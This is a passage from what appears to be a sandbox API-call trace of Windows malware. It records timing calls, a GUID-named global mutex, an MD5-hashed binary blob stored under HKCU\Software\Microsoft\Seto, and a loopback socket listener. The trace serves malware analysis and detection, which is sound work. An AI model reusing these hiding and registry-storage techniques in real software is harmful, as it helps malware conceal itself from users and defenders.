lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bce0c70, dwHighDateTime=0x1d31ac1)) [0116.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bd791f0, dwHighDateTime=0x1d31ac1)) [0116.293] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bd791f0, dwHighDateTime=0x1d31ac1)) [0116.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bd791f0, dwHighDateTime=0x1d31ac1)) [0116.299] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bd791f0, dwHighDateTime=0x1d31ac1)) [0116.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bd791f0, dwHighDateTime=0x1d31ac1)) [0116.305] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bd791f0, dwHighDateTime=0x1d31ac1)) [0116.305] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bd791f0, dwHighDateTime=0x1d31ac1)) [0116.310] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bd9f350, dwHighDateTime=0x1d31ac1)) [0116.311] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bd9f350, dwHighDateTime=0x1d31ac1)) [0116.311] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bd9f350, dwHighDateTime=0x1d31ac1)) [0116.316] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bd9f350, dwHighDateTime=0x1d31ac1)) [0116.317] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bd9f350, dwHighDateTime=0x1d31ac1)) [0116.322] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bdc54b0, dwHighDateTime=0x1d31ac1)) [0116.323] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bdc54b0, dwHighDateTime=0x1d31ac1)) [0116.328] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bdc54b0, dwHighDateTime=0x1d31ac1)) [0116.329] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bdc54b0, dwHighDateTime=0x1d31ac1)) [0116.329] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bdc54b0, dwHighDateTime=0x1d31ac1)) [0116.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bdc54b0, dwHighDateTime=0x1d31ac1)) [0116.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3be378d0, dwHighDateTime=0x1d31ac1)) [0116.374] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3be378d0, dwHighDateTime=0x1d31ac1)) [0116.375] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3be378d0, dwHighDateTime=0x1d31ac1)) [0116.375] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3be378d0, dwHighDateTime=0x1d31ac1)) [0116.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3be378d0, dwHighDateTime=0x1d31ac1)) [0116.381] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3be378d0, dwHighDateTime=0x1d31ac1)) [0116.386] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3be5da30, dwHighDateTime=0x1d31ac1)) [0116.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3be5da30, dwHighDateTime=0x1d31ac1)) [0116.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3be5da30, dwHighDateTime=0x1d31ac1)) [0116.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3be5da30, dwHighDateTime=0x1d31ac1)) [0116.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3be5da30, dwHighDateTime=0x1d31ac1)) [0116.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3be5da30, dwHighDateTime=0x1d31ac1)) [0116.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3be83b90, dwHighDateTime=0x1d31ac1)) [0116.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3be83b90, dwHighDateTime=0x1d31ac1)) [0116.410] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3be83b90, dwHighDateTime=0x1d31ac1)) [0116.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3be83b90, dwHighDateTime=0x1d31ac1)) [0116.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bf1c110, dwHighDateTime=0x1d31ac1)) [0116.464] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bf1c110, dwHighDateTime=0x1d31ac1)) [0116.469] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bf1c110, dwHighDateTime=0x1d31ac1)) [0116.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bf1c110, dwHighDateTime=0x1d31ac1)) [0116.475] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bf1c110, dwHighDateTime=0x1d31ac1)) [0116.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bf1c110, dwHighDateTime=0x1d31ac1)) [0116.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bf42270, dwHighDateTime=0x1d31ac1)) [0116.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bf42270, dwHighDateTime=0x1d31ac1)) [0116.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bf42270, dwHighDateTime=0x1d31ac1)) [0116.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bf42270, dwHighDateTime=0x1d31ac1)) [0116.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bf42270, dwHighDateTime=0x1d31ac1)) [0116.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bf42270, dwHighDateTime=0x1d31ac1)) [0116.495] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bf683d0, dwHighDateTime=0x1d31ac1)) [0116.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bf683d0, dwHighDateTime=0x1d31ac1)) [0116.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bf683d0, dwHighDateTime=0x1d31ac1)) [0116.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bf683d0, dwHighDateTime=0x1d31ac1)) [0116.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bf683d0, dwHighDateTime=0x1d31ac1)) [0116.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bf683d0, dwHighDateTime=0x1d31ac1)) [0116.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bf683d0, dwHighDateTime=0x1d31ac1)) [0116.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3c000950, dwHighDateTime=0x1d31ac1)) [0116.565] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3c000950, dwHighDateTime=0x1d31ac1)) [0116.565] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3c000950, dwHighDateTime=0x1d31ac1)) [0116.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3c000950, dwHighDateTime=0x1d31ac1)) [0116.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3c026ab0, dwHighDateTime=0x1d31ac1)) [0116.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3c026ab0, dwHighDateTime=0x1d31ac1)) [0116.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3c026ab0, dwHighDateTime=0x1d31ac1)) [0116.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3c026ab0, dwHighDateTime=0x1d31ac1)) [0116.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3c026ab0, dwHighDateTime=0x1d31ac1)) [0116.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3c026ab0, dwHighDateTime=0x1d31ac1)) [0116.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3c04cc10, dwHighDateTime=0x1d31ac1)) [0116.590] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3c04cc10, dwHighDateTime=0x1d31ac1)) [0116.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3c04cc10, dwHighDateTime=0x1d31ac1)) [0116.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3c04cc10, dwHighDateTime=0x1d31ac1)) [0116.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3c04cc10, dwHighDateTime=0x1d31ac1)) [0116.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3c04cc10, dwHighDateTime=0x1d31ac1)) [0116.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3c072d70, dwHighDateTime=0x1d31ac1)) [0116.612] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f840 | out: lpSystemTimeAsFileTime=0x265f840*(dwLowDateTime=0x3c072d70, dwHighDateTime=0x1d31ac1)) [0116.612] GetLastError () returned 0x12 [0116.612] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f840 | out: lpSystemTimeAsFileTime=0x265f840*(dwLowDateTime=0x3c072d70, dwHighDateTime=0x1d31ac1)) [0116.612] GetLastError () returned 0x12 [0116.612] SetLastError (dwErrCode=0x12) [0116.612] GetLastError () returned 0x12 [0116.612] SetLastError (dwErrCode=0x12) [0116.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Liikxey", cchWideChar=7, lpMultiByteStr=0x265f8b0, cbMultiByte=257, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Liikxey", lpUsedDefaultChar=0x0) returned 7 [0116.612] GetTickCount () returned 0x240d6 [0116.612] GetTickCount () returned 0x240d6 [0116.612] GetTickCount () returned 0x240d6 [0116.612] GetTickCount () returned 0x240d6 [0116.612] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Inaqsymahy", cchWideChar=10, lpMultiByteStr=0x265f8a0, cbMultiByte=257, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Inaqsymahy", lpUsedDefaultChar=0x0) returned 10 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] GetTickCount () returned 0x240d6 [0116.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Peeredvuy", cchWideChar=9, lpMultiByteStr=0x265f890, cbMultiByte=257, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Peeredvuy", lpUsedDefaultChar=0x0) returned 9 [0116.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f560 | out: lpSystemTimeAsFileTime=0x265f560*(dwLowDateTime=0x3c072d70, dwHighDateTime=0x1d31ac1)) [0116.627] CreateMutexW (lpMutexAttributes=0x333fac, bInitialOwner=0, lpName="Global\\{8E6A7E3D-CDD7-345A-65D9-FE61A0417768}") returned 0x440 [0116.627] WaitForSingleObject (hHandle=0x440, dwMilliseconds=0xffffffff) returned 0x0 [0116.627] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", ulOptions=0x0, samDesired=0x1, phkResult=0x265f5c4 | out: phkResult=0x265f5c4*=0x444) returned 0x0 [0116.627] RegQueryValueExW (in: hKey=0x444, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x265f890, lpData=0x0, lpcbData=0x265f5c0*=0x0 | out: lpType=0x265f890*=0x3, lpData=0x0, lpcbData=0x265f5c0*=0x1b8f) returned 0x0 [0116.627] RegQueryValueExW (in: hKey=0x444, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x265f890, lpData=0x8cf6c8, lpcbData=0x265f5c0*=0x1b8f | out: lpType=0x265f890*=0x3, lpData=0x8cf6c8*, lpcbData=0x265f5c0*=0x1b8f) returned 0x0 [0116.628] RegCloseKey (hKey=0x444) returned 0x0 [0116.628] CryptAcquireContextW (in: phProv=0x265f440, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x265f440*=0x892598) returned 1 [0116.629] CryptCreateHash (in: hProv=0x892598, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x265f43c | out: phHash=0x265f43c) returned 1 [0116.629] CryptHashData (hHash=0x85b1a0, pbData=0x8cf6f8, dwDataLen=0x1b5f, dwFlags=0x0) returned 1 [0116.629] CryptGetHashParam (in: hHash=0x85b1a0, dwParam=0x2, pbData=0x265f468, pdwDataLen=0x265f438, dwFlags=0x0 | out: pbData=0x265f468, pdwDataLen=0x265f438) returned 1 [0116.629] CryptDestroyHash (hHash=0x85b1a0) returned 1 [0116.629] CryptReleaseContext (hProv=0x892598, dwFlags=0x0) returned 1 [0116.629] CryptAcquireContextW (in: phProv=0x265f43c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x265f43c*=0x892598) returned 1 [0116.630] CryptCreateHash (in: hProv=0x892598, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x265f438 | out: phHash=0x265f438) returned 1 [0116.630] CryptHashData (hHash=0x85b1a0, pbData=0x8e9688, dwDataLen=0x2467, dwFlags=0x0) returned 1 [0116.630] CryptGetHashParam (in: hHash=0x85b1a0, dwParam=0x2, pbData=0x8e9678, pdwDataLen=0x265f434, dwFlags=0x0 | out: pbData=0x8e9678, pdwDataLen=0x265f434) returned 1 [0116.630] CryptDestroyHash (hHash=0x85b1a0) returned 1 [0116.630] CryptReleaseContext (hProv=0x892598, dwFlags=0x0) returned 1 [0116.630] GetTickCount () returned 0x240e6 [0116.630] GetTickCount () returned 0x240e6 [0116.630] GetTickCount () returned 0x240e6 [0116.630] GetTickCount () returned 0x240e6 [0116.630] GetTickCount () returned 0x240e6 [0116.630] GetTickCount () returned 0x240e6 [0116.630] GetTickCount () returned 0x240e6 [0116.630] GetTickCount () returned 0x240e6 [0116.630] GetTickCount () returned 0x240e6 [0116.630] GetTickCount () returned 0x240e6 [0116.630] GetTickCount () returned 0x240e6 [0116.630] GetTickCount () returned 0x240e6 [0116.630] GetTickCount () returned 0x240e6 [0116.630] GetTickCount () returned 0x240e6 [0116.630] GetTickCount () returned 0x240e6 [0116.630] GetTickCount () returned 0x240e6 [0116.630] GetTickCount () returned 0x240e6 [0116.630] GetTickCount () returned 0x240e6 [0116.630] GetTickCount () returned 0x240e6 [0116.630] GetTickCount () returned 0x240e6 [0116.630] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x265f5f4, lpdwDisposition=0x0 | out: phkResult=0x265f5f4*=0x444, lpdwDisposition=0x0) returned 0x0 [0116.630] RegSetValueExW (in: hKey=0x444, lpValueName="Yqlozyzuz", Reserved=0x0, dwType=0x3, lpData=0x8e9658*, cbData=0x2497 | out: lpData=0x8e9658*) returned 0x0 [0116.630] RegCloseKey (hKey=0x444) returned 0x0 [0116.630] ReleaseMutex (hMutex=0x440) returned 1 [0116.630] CloseHandle (hObject=0x440) returned 1 [0116.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x16b3ef, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440 [0116.631] inet_addr (cp="127.0.0.1") returned 0x100007f [0116.631] htons (hostshort=0x94be) returned 0xbe94 [0116.631] socket (af=2, type=1, protocol=6) returned 0x1ac [0116.631] setsockopt (s=0x1ac, level=65535, optname=4, optval="\x01", optlen=4) returned 0 [0116.631] bind (s=0x1ac, addr=0x265f8e0*(sa_family=2, sin_port=0x94be, sin_addr="127.0.0.1"), namelen=16) returned 0 [0116.631] listen (s=0x1ac, backlog=2147483647) returned 0 [0116.631] WSAIoctl (in: s=0x1ac, dwIoControlCode=0x8004667e, lpvInBuffer=0x265f084, cbInBuffer=0x4, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x265f080, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x265f080, lpOverlapped=0x0) returned 0 [0116.631] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0116.633] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0116.633] Sleep (dwMilliseconds=0xa) [0116.649] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0116.664] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0116.664] Sleep (dwMilliseconds=0xa) [0116.680] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0116.696] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0116.696] Sleep (dwMilliseconds=0xa) [0116.711] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0116.727] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0116.727] Sleep (dwMilliseconds=0xa) [0116.743] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0116.758] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0116.758] Sleep (dwMilliseconds=0xa) [0116.774] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0116.789] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0116.789] Sleep (dwMilliseconds=0xa) [0116.805] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0116.820] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0116.820] Sleep (dwMilliseconds=0xa) [0116.836] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0116.899] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0116.899] Sleep (dwMilliseconds=0xa) [0116.945] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0116.961] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0116.961] Sleep (dwMilliseconds=0xa) [0116.976] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0116.992] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0116.992] Sleep (dwMilliseconds=0xa) [0117.008] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0117.023] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0117.023] Sleep (dwMilliseconds=0xa) [0117.039] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0117.054] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0117.055] Sleep (dwMilliseconds=0xa) [0117.132] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0117.226] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0117.226] Sleep (dwMilliseconds=0xa) [0117.367] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0117.460] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0117.460] Sleep (dwMilliseconds=0xa) [0117.554] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0117.678] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0117.679] Sleep (dwMilliseconds=0xa) [0117.819] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0117.974] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0117.975] Sleep (dwMilliseconds=0xa) [0118.100] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0118.243] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0118.243] Sleep (dwMilliseconds=0xa) [0118.292] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0118.334] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0118.334] Sleep (dwMilliseconds=0xa) [0118.383] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0118.476] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0118.476] Sleep (dwMilliseconds=0xa) [0118.523] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0118.583] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0118.583] Sleep (dwMilliseconds=0xa) [0118.678] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0118.733] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0118.733] Sleep (dwMilliseconds=0xa) [0118.772] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0118.833] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: 